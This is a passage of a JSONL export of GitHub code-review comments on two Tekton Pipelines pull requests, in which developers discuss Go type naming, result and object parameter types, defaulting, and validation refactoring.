null, "path": "pkg/apis/pipeline/v1beta1/results.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! \ud83d\ude04 ", "comment_id": 854607908, "created_at": "2022-04-20T22:21:59Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes this is also something I'm not sure. I thought files ended with \"_types\" should have a crd in it. ", "comment_id": 854610328, "created_at": "2022-04-20T22:27:02Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/results.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "ywluogg", "body": "That's a pretty good consideration. I think TaskResult is actually similar to ParamsSpec: https://github.com/tektoncd/pipeline/blob/7e5e4c0f7b50c40192d46153580bfb1f38891a1b/pkg/apis/pipeline/v1beta1/param_types.go#L37 and TaskRunResult is similar to Param: https://github.com/tektoncd/pipeline/blob/7e5e4c0f7b50c40192d46153580bfb1f38891a1b/pkg/apis/pipeline/v1beta1/param_types.go#L83\r\n\r\nMaybe we can move those structs into a centralized file results_types.go.", "comment_id": 854627355, "created_at": "2022-04-20T23:00:05Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/results.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yeah that would also work, I can do it and see how other ppl think of it", "comment_id": 854634401, "created_at": "2022-04-20T23:09:48Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/results.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "ywluogg", "body": "Ah you are right about that we are adding the changes in apiversion v1beta1 and keep it as alpha features. Resolving this comment.", "comment_id": 854714372, "created_at": "2022-04-21T02:01:07Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/results.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "vdemeester", "body": "Any reason for not moving them to `ArrayOrString` \"now\", as, from the API perspective (consumption) it doesn't change too much, all current API usage will still work because `string` is still supported.", "comment_id": 854929238, "created_at": "2022-04-21T08:35:50Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/results.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "document why this naming", "comment_id": 855294965, "created_at": "2022-04-21T15:09:04Z", "line": 24, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "ywluogg", "body": "Good point! I would suggest to add a TODO for changing this to have ResultType also in scope", "comment_id": 855338948, "created_at": "2022-04-21T15:51:04Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/results.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Similar like param, this will mutate the task, if this is necessary. I will document in current `trusted task`'s design and logging fields.", "comment_id": 855474387, "created_at": "2022-04-21T18:21:48Z", "line": 23, "path": "pkg/apis/pipeline/v1beta1/result_defaults.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "dibyom", "body": "While this is technically a mutation, I think adding the default result type is fine", "comment_id": 860275259, "created_at": "2022-04-27T21:56:19Z", "line": 23, "path": "pkg/apis/pipeline/v1beta1/result_defaults.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "dibyom", "body": "v minor: could you update the TODO to be TODO(@Yongxuanzhang) or TODO(#GH-ISSUE_NUMBER) ", "comment_id": 860278513, "created_at": "2022-04-27T22:02:34Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "dibyom", "body": "This is unfortunate -- PipelineResources are deprecated and should go away but until then, we might want to add a comment to the original ResultType as well pointing to this ResultType", "comment_id": 860281153, "created_at": "2022-04-27T22:07:56Z", "line": 47, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "dibyom", "body": "Why is this a map and not a slice?", "comment_id": 860281572, "created_at": "2022-04-27T22:08:45Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "dibyom", "body": "Ah, I see this is used in validation - we could use a slice there too. Generally, using map[ResultsType]struct{} would be both a bit faster and more more efficient though given the small size of the map its unlikely to matter much. ", "comment_id": 860284495, "created_at": "2022-04-27T22:14:48Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! \ud83d\ude04 ", "comment_id": 860924414, "created_at": "2022-04-28T13:56:51Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! ", "comment_id": 860930977, "created_at": "2022-04-28T14:02:35Z", "line": 23, "path": "pkg/apis/pipeline/v1beta1/result_defaults.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes, I think `PipelineResources` is deprecated but this is referring to `PipelineResourceResult` which is also used to emit results. I assume `PipelineResourceResult` will not be deprecated soon? https://github.com/tektoncd/pipeline/blob/68f2a66c9b2ffcc23ef262bac95d1eb3856021cf/pkg/apis/pipeline/v1beta1/resource_types.go#L130-L138", "comment_id": 860956421, "created_at": "2022-04-28T14:25:13Z", "line": 47, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Ok I see! I can change it to slice!", "comment_id": 860964069, "created_at": "2022-04-28T14:30:31Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "lbernick", "body": "would you mind putting TODO(bug #) instead of TODO(name)? (makes it easier to hand off if needed and provides more context to anyone who sees the code)", "comment_id": 861829606, "created_at": "2022-04-29T13:55:16Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "lbernick", "body": "does this need a \"+optional\"?", "comment_id": 861830504, "created_at": "2022-04-29T13:56:18Z", "line": 21, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: we've used sets.String elsewhere in the codebase, might be helpful here https://pkg.go.dev/k8s.io/apimachinery@v0.23.6/pkg/util/sets", "comment_id": 861834478, "created_at": "2022-04-29T14:00:37Z", "line": 30, "path": "pkg/apis/pipeline/v1beta1/result_validation.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh sure! ", "comment_id": 862101304, "created_at": "2022-04-29T19:50:43Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks!! Good catch", "comment_id": 862118927, "created_at": "2022-04-29T20:15:55Z", "line": 21, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yeah I was using map before, and I see param type is using a list. \ud83d\ude04 I will change it to sets.String ", "comment_id": 862119062, "created_at": "2022-04-29T20:16:14Z", "line": 30, "path": "pkg/apis/pipeline/v1beta1/result_validation.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "emmm maybe I'm wrong, looks like I cannot use `sets.String` here, because `sets.String` is using `string` as key but we're using `ResultsType`\r\n\r\nThe following code will throw error\r\n`var AllResultsTypes = sets.String{ResultsTypeString:{}}`", "comment_id": 862136117, "created_at": "2022-04-29T20:38:46Z", "line": 30, "path": "pkg/apis/pipeline/v1beta1/result_validation.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "ywluogg", "body": "Nice job putting into thoughts about how to do them uniformly. With the considerations that ArrayOrString will be renamed to something else, I'm proposing to call this struct as StructuredObject, to distinguish this struct, which could be containing strings, arrays or maps, from the \"object\" (dictionary) concept in json schema.\r\n\r\nWith this proposal, and because Go doesn't support function overloading, I think it makes sense to actually have three functions, `NewStructuredObjectInString`, `NewStructuredObjectInArray`, and `NewStructuredObjectInObject`. Pinging @vdemeester @pritidesai for opinions.", "comment_id": 862023838, "created_at": "2022-04-29T17:54:27Z", "line": 199, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "Great point! Yeah we definitely need to rename the struct `ArrayOrString` to something more general. Thanks for calling this out. The word `object` in `StructuredObject ` might be confusing with the actual `object` type that we will support. How about `StructuredValue`?\r\n\r\nIn terms of splitting `NewArrayOrString` function into three, I don't see any issue with that because this function is mainly used in test and just one place in the implementation code - `resolveResultRef` [function](https://github.com/tektoncd/pipeline/blob/2b8538214169ec1c3af14221f44ea59e6b1b81f7/pkg/reconciler/pipelinerun/resources/resultrefresolution.go#L158). We just need to be very careful with refactor because this function is extensively used in unit tests.", "comment_id": 862033539, "created_at": "2022-04-29T18:09:35Z", "line": 199, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "> \r\n\r\nAh this will be shared with results as well later. Open to all ideas about how to address this struct,", "comment_id": 862036368, "created_at": "2022-04-29T18:14:17Z", "line": 199, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> > \r\n> \r\n> Ah this will be shared with results as well later\r\n\r\nyes, result will use this struct `ArrayOrString ` as well. cc: @Yongxuanzhang ", "comment_id": 862037093, "created_at": "2022-04-29T18:15:29Z", "line": 199, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "> > > \r\n> > \r\n> > \r\n> > Ah this will be shared with results as well later\r\n> \r\n> yes, result will use this struct `ArrayOrString ` as well. cc: @Yongxuanzhang\r\n\r\nyes it is already in my next pr, thanks for cc me!", "comment_id": 862086582, "created_at": "2022-04-29T19:24:08Z", "line": 199, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "ps.Type is a string, the default of it is an empty string. Why do we want to set type to object when it is empty? We are defaulting to strings: https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#defaulting-to-string-types-for-values I think when the ParamSpec reaches here, the type should never be empty as webhook should have set the defaults. You should error out if this is not set", "comment_id": 862849058, "created_at": "2022-05-02T13:33:08Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "What's the complaint from gocritic? ", "comment_id": 862893492, "created_at": "2022-05-02T14:27:17Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "Is this function only to check whether the keys are referenced correctly? Or it will contain validations of reference of the entire object? Do you mind adding a TODO for it if that's the case?", "comment_id": 863190526, "created_at": "2022-05-02T21:06:04Z", "line": 366, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "Can you make this and the above code as a separate function like: ValidateParamAgainstSchema(ps ParamSpec, p Param)? This way we can use it elsewhere.\r\nAlso wrap ValidateObjectAgainstSchema() against another sharable function such as ValidateObjectAgainstSchema(p PropertySpec, object ArraryOrString) This way, it can be used in Chains and Results in Pipelines", "comment_id": 863230699, "created_at": "2022-05-02T22:19:49Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "Don't make this as default. Make a case for object and error at default case", "comment_id": 863232810, "created_at": "2022-05-02T22:24:51Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> I think when the ParamSpec reaches here, the type should never be empty as webhook should have set the defaults.\r\n\r\nCorrect, mutating webhook will be able to infer the default type by its specification and set the type to one of the three types accordingly. So at this point here, the type has already been set to one of the three. Therefore, the default case will be object if the type is not `ParamTypeString` or `ParamTypeArray` and we don't need to throw error here. (In addition, as this function is used in `pkg/apis/pipeline/v1beta1/pipeline_defaults.go`, it seems mutating webhook does not throw errors generally. IIUC, the validation webhook is where we throw errors.)\r\n\r\nIn the original implementation, the if-else statement also works like the default is array type instead of throwing error. So I guess it makes more sense to follow the the original implementation.", "comment_id": 863264330, "created_at": "2022-05-02T23:49:41Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "It will suggest to use `switch` when `else-if` chains is detected, which will fail the build tests. And apparently this code chuck cannot be done with switch because we are checking different variables in the struct.\r\nAlso see this pattern in the original code i.e.\r\n```go\r\nif pp.Default.Type != \"\" {\r\n} else {\r\n if pp.Default.ArrayVal != nil {\r\n } else {\r\n }\r\n}\r\n```\r\nInstead of \r\n```go\r\nif pp.Default.Type != \"\" {\r\n} else if pp.Default.ArrayVal != nil {\r\n} else {\r\n}\r\n```", "comment_id": 863265257, "created_at": "2022-05-02T23:52:37Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "Good point. I'll add a todo for it as it will also validate that entire object is not referenced as part of a string values.", "comment_id": 863265804, "created_at": "2022-05-02T23:54:09Z", "line": 366, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "sgtm!", "comment_id": 863266458, "created_at": "2022-05-02T23:56:11Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> Can you make this and the above code as a separate function like: ValidateParamAgainstSchema(ps ParamSpec, p Param)? This way we can use it elsewhere.\r\n\r\nsgtm! I'd use `properties` instead of `Schema` just to make sure we use terms consistently. \r\n\r\n> Also wrap ValidateObjectAgainstSchema() against another sharable function such as ValidateObjectAgainstSchema(p PropertySpec, object ArraryOrString) This way, it can be used in Chains and Results in Pipelines\r\n\r\ncan you explain this a bit? what kind of another helper function are you looking for?", "comment_id": 863271758, "created_at": "2022-05-03T00:13:15Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I think we can treat all unsupported value to string. This is because the type and func is reused by results. For emitting results users may write integer to results path, in current code this will be read as string.\r\n\r\nSo to use ArrayOrString's UnmarshalJSON for emitting results and keep current behaviour not changed. I suggest we convert value to string if it doesn't fall to any switch condition or encountered err\r\n\r\nI describe the case here:\r\nhttps://github.com/tektoncd/pipeline/issues/4820", "comment_id": 863281967, "created_at": "2022-05-03T00:36:51Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "I can see that `ValidateParamAgainstProperties ` can be helpful when you try to validate params, but this is also a functionality that TaskRun results want to use for objects, so having a separate ValidateObjectAgainstSchema(p PropertySpec, object ArraryOrString) can give us another level of sharable code. Let me know if this clarify what I'm trying to say", "comment_id": 863779897, "created_at": "2022-05-03T13:33:21Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "> Correct, mutating webhook will be able to infer the default type by its specification and set the type to one of the three types accordingly. And at this point here, the type has already been set to one of the three. Therefore, the default case will be object if the type is not `ParamTypeString` or `ParamTypeArray` and we don't need to throw error here. (In addition, as this function is used in `pkg/apis/pipeline/v1beta1/pipeline_defaults.go`, it seems mutating webhook does not throw errors generally.)\r\n\r\nThrowing an error will capture any unexpected behaviours if any code before this is not setting this Type, so I think it is still helpful to throw an error here.\r\n\r\n> In the original implementation, the if-else statement also works like the default is array type instead of throwing error. So I guess it makes more sense to follow the the original implementation.\r\n\r\nI'm fine with either of the implementation. Both LGTM!\r\n\r\n", "comment_id": 863788267, "created_at": "2022-05-03T13:38:52Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "Ah I think it would be helpful if you can paste the exact error here, but I assume this is because you didnt have a `else` case. I think this may work:\r\n```\r\nif pp.Default != nil {\r\n...\r\n} else if pp.Default.Type != \"\" {\r\n...\r\n} else if pp.Default.ArrayVal != nil {\r\n ...\r\n} else if pp.Default.ObjectVal != nil {\r\n...\r\n} else {\r\n ...\r\n}\r\n```\r\nLet me know if this works. We can take a look together at the error if its still there. I'm not sure why original code has to nest the if-else for several layers.", "comment_id": 863796344, "created_at": "2022-05-03T13:46:28Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "Is it possible to pass through the whole object instead of each field individually? (thinking ahead to if/when objects are a mix of strings/arrays/objects)", "comment_id": 863865697, "created_at": "2022-05-03T14:51:29Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "You should still be able to use a switch here - https://go.dev/play/p/gmLBtYvj1PI\r\n\r\nlmk if you have an example that isn't working quite right - happy to toy around with it to see if we can get it to work!", "comment_id": 863872417, "created_at": "2022-05-03T14:57:55Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "Can you clarify the difference between the two functions' signatures? Just trying to understand the needs and what level of isolation I should refactor.\r\n\r\nFor `ValidateParamAgainstProperties `, is it `ValidateParamAgainstProperties(paramSpecs []v1beta1.ParamSpec, params []v1beta1.Param)`? Just thinking whether to make this function parallel to the existing `validateParams` OR to utilizing `ValidateParamAgainstProperties` inside `validateParams` by first filtering out all object params and passing to `ValidateParamAgainstProperties`. \r\nAnd what is the second argument `object` of `ValidateObjectAgainstSchema`?", "comment_id": 863889159, "created_at": "2022-05-03T15:14:02Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "OpenAPI defines properties as a recursive schema object - https://swagger.io/specification/#schema-object\r\n\r\nShould we take a similar approach here with ParamSpec?", "comment_id": 863899728, "created_at": "2022-05-03T15:24:16Z", "line": 50, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "This won't support arrays or nested objects. Wanted to check if this is intentional?", "comment_id": 863902236, "created_at": "2022-05-03T15:26:56Z", "line": 139, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "Will this break multi-line arrays? e.g.\r\n\r\n```\r\nfoo:\r\n - a\r\n - b\r\n - c\r\n```\r\n\r\n", "comment_id": 863903111, "created_at": "2022-05-03T15:27:46Z", "line": 145, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "another idea to throw into the bikeshed: `ParamValue`? (strings don't strike me as \"structured\")", "comment_id": 863907202, "created_at": "2022-05-03T15:31:55Z", "line": 199, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "I think we need more tests where we don't rely on `Defaults` to set the values.", "comment_id": 863910388, "created_at": "2022-05-03T15:35:13Z", "line": 636, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "I'm not the biggest fan that we're interleaving general param validation and object-specific validation here - it makes it harder to follow the code because you need to context switch back between what is / isn't object specific. Could we hoist this the object-specific code into a single func that gets called after we've done the param validation that applies to all params?", "comment_id": 863916027, "created_at": "2022-05-03T15:40:56Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "What are valid values for this Type? (we should add validation for this)", "comment_id": 863921383, "created_at": "2022-05-03T15:46:22Z", "line": 60, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "> With the considerations that ArrayOrString will be renamed to something else, I'm proposing to call this struct as StructuredObject, to distinguish this struct, which could be containing strings, arrays or maps, from the \"object\" (dictionary) concept in json schema.\r\n\r\nJust to bring out that this design needs to be considered together with changes in [PR4818](https://github.com/tektoncd/pipeline/pull/4818#discussion_r863851337)", "comment_id": 863999695, "created_at": "2022-05-03T17:09:46Z", "line": 199, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "> another idea to throw into the bikeshed: `ParamValue`? (strings don't strike me as \"structured\")\r\n\r\nYou mean changing `ArrayOrString` to `ParamValue`? I think having `Param` in it could be referring to something specific for Params in Tasks, but in my mind a struct like this should be considered being representing a json (can be string, can be arrays, and can be objects), and it can be used in Results in Tasks and Pipelines as well", "comment_id": 864001552, "created_at": "2022-05-03T17:12:16Z", "line": 199, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "+1 I think this PR is mixed with multiple stuff, for example, default values, but miss a big chunk of other validations. Maybe scope out this PR to a specific module / feature and that would make the PR easier to follow", "comment_id": 864169026, "created_at": "2022-05-03T20:07:59Z", "line": 636, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "+1 to that", "comment_id": 864170091, "created_at": "2022-05-03T20:08:27Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "ValidateParamAgainstProperties understanding is correct.\r\nValidateObjectAgainstSchema is like:\r\n```\r\nValidateObjectAgainstSchema(p PropertySpec, object ArraryOrString)\r\n```", "comment_id": 864215949, "created_at": "2022-05-03T20:34:35Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "> Just thinking whether to make this function parallel to the existing `validateParams` OR to utilizing `ValidateParamAgainstProperties` inside `validateParams` by first filtering out all object params and passing to `ValidateParamAgainstProperties`. And what is the second argument `object` of `ValidateObjectAgainstSchema`?\r\n\r\n`ValidateParamAgainstProperties` is for later uses in Tekton Chains, and `ValidateObjectAgainstSchema` is for later usage in Results\r\n", "comment_id": 864218555, "created_at": "2022-05-03T20:36:10Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "Originally nested objects wouldn't be supported. Changing it to map[string]ArrayOrString can be a bit tricky for testing and capturing all the corner cases. This would be good second phase to be done after the feature is launched with alpha guard flags", "comment_id": 864228391, "created_at": "2022-05-03T20:41:16Z", "line": 139, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "Good catch! This input indeed needs to be validated also.\r\n\r\nThe valid value for this type is `string` for now mentioned in this [part](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#defaulting-to-string-types-for-values) of the TEP75. ", "comment_id": 864249215, "created_at": "2022-05-03T20:48:08Z", "line": 60, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "yeah, this will be refactored out to a separate function also discussed [here](https://github.com/tektoncd/pipeline/pull/4786#discussion_r863230699). Totally understand what you mean by `context switch back between what is / isn't object specific`. Great point!!\r\nThank you all for the feedback.", "comment_id": 864250112, "created_at": "2022-05-03T20:49:23Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> I think we need more tests where we don't rely on `Defaults` to set the values.\r\n\r\nThis [validation](https://github.com/tektoncd/pipeline/blob/0ca9635e51663e4916a9732edf2b7affc1c3855b/pkg/apis/pipeline/v1beta1/task_validation.go#L363) is to check if keys are missed in `default` iff the `default` section is provided ([code](https://github.com/tektoncd/pipeline/blob/0ca9635e51663e4916a9732edf2b7affc1c3855b/pkg/apis/pipeline/v1beta1/task_validation.go#L351-L353)). \r\n\r\nWith that said, it's not relying on `default` to set values for the object param's keys. \r\n\r\nAnd `pkg/reconciler/taskrun/validate_resources.go` will be responsible for check if neither taskrun or default provides a value for a param.\r\n\r\nLet me know if this answers your confusion. @wlynch", "comment_id": 864252383, "created_at": "2022-05-03T20:52:55Z", "line": 636, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> +1 I think this PR is mixed with multiple stuff, for example, default values, but miss a big chunk of other validations. Maybe scope out this PR to a specific module / feature and that would make the PR easier to follow\r\n\r\nFor validation, this pr only includes task&taskrun level validation. Pipeline & pipeline level validation will be in future PRs.\r\n\r\nFor task&taskrun level validation, this PR includes most of validations except \r\n1. validate against entire object usage\r\n> **When providing values for strings**, Task and Pipeline authors can access individual attributes of an object param; they ***cannot access the object as whole*** (we could add support for this later). (mentioned [here](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#using-objects-in-variable-replacement) in the tep)\r\n\r\n2. restrict the value of type in `PropertySpec` down to `string` only. ([mentioned](https://github.com/tektoncd/pipeline/pull/4786#discussion_r863921383) by @wlynch)\r\n\r\nConsidering the amount of changes in this pr and amount of work for 1, I am thinking to add it in a different PR. (2 was just added after @wlynch's review)\r\n\r\nAfter this initial implementation PR gets merged, I will try to make future PRs smaller.", "comment_id": 864274827, "created_at": "2022-05-03T21:27:18Z", "line": 636, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "IIUC, the tep proposes defaulting to string types for values. [section link](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#defaulting-to-string-types-for-values)\r\n\r\n> a. Only string types would initially be supported b. Even when other types are supported, the most common usage of objects will likely use string values\r\n\r\nSo we might not want to pursue the recursive schema object for now.", "comment_id": 864283856, "created_at": "2022-05-03T21:42:34Z", "line": 50, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "In today's Pipeline WG meeting, @pritidesai proposed to create a new struct which embeds `ArrayOrString` and then includes `object` type to avoid breaking changes if I remember correctly.\r\n\r\nFor me, I think if we create the new struct and keep `ArrayOrString` there, we still cannot avoid breaking changes unfortunately. For instance, we have to change the fields which were of `ArrayOrString` type i.e. `ParamSpec`'s [default](https://github.com/tektoncd/pipeline/blob/main/pkg/apis/pipeline/v1beta1/param_types.go#L52) and `Param`'s [value](https://github.com/tektoncd/pipeline/blob/main/pkg/apis/pipeline/v1beta1/param_types.go#L85). \r\n\r\nSo renaming `ArrayOrString` here might make more sense to me too. \r\n\r\nCan you please share more thoughts regarding this here? @pritidesai\r\n\r\n", "comment_id": 864290510, "created_at": "2022-05-03T21:55:33Z", "line": 199, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Now we have 3 options for this struct:\r\n1. Like this current code, we don't rename it\r\n2. Rename it to something else\r\n3. Create a new struct and wrap the ArrayOrString\r\n\r\nI think we prefer for 2 right? ", "comment_id": 864295359, "created_at": "2022-05-03T22:05:13Z", "line": 139, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "correct. see the discussion [here](https://github.com/tektoncd/pipeline/pull/4786#discussion_r862023838)\r\n\r\nWe have to either go down with 2 or 3 but not 1 because it doesn't make sense to have a struct called `ArrayOrString` which actually includes `object` type as well.", "comment_id": 864297086, "created_at": "2022-05-03T22:08:42Z", "line": 139, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Is it json array? It looks like yaml syntax", "comment_id": 864297338, "created_at": "2022-05-03T22:09:12Z", "line": 145, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> Will this break multi-line arrays? e.g.\r\n> \r\n> ```\r\n> foo:\r\n> - a\r\n> - b\r\n> - c\r\n> ```\r\n\r\nno it will not break array type params.", "comment_id": 864300699, "created_at": "2022-05-03T22:16:16Z", "line": 145, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "@wlynch that works! Thanks!", "comment_id": 864395025, "created_at": "2022-05-04T00:49:44Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> ValidateParamAgainstProperties understanding is correct. ValidateObjectAgainstSchema is like:\r\n> \r\n> ```\r\n> ValidateObjectAgainstSchema(p PropertySpec, object ArraryOrString)\r\n> ```\r\n\r\n`PropertySpec` is the spec specific to a ***single*** key/property of the object param and this spec just contains the type of the value, whereas `ArraryOrString` contains `objectVal` which is a map containing ***many*** key-value pairs. They are not comparable nor can be validated against each other.\r\n\r\nI extracted object-specific validation into a new function called `ValidateObjectParameters` (@wlynch and you suggested).\r\nHappy to split out this further once the result side gets clear needs for another new helper function on this part. How does that sound? @Yongxuanzhang @ywluogg \r\n", "comment_id": 864468064, "created_at": "2022-05-04T05:31:39Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} 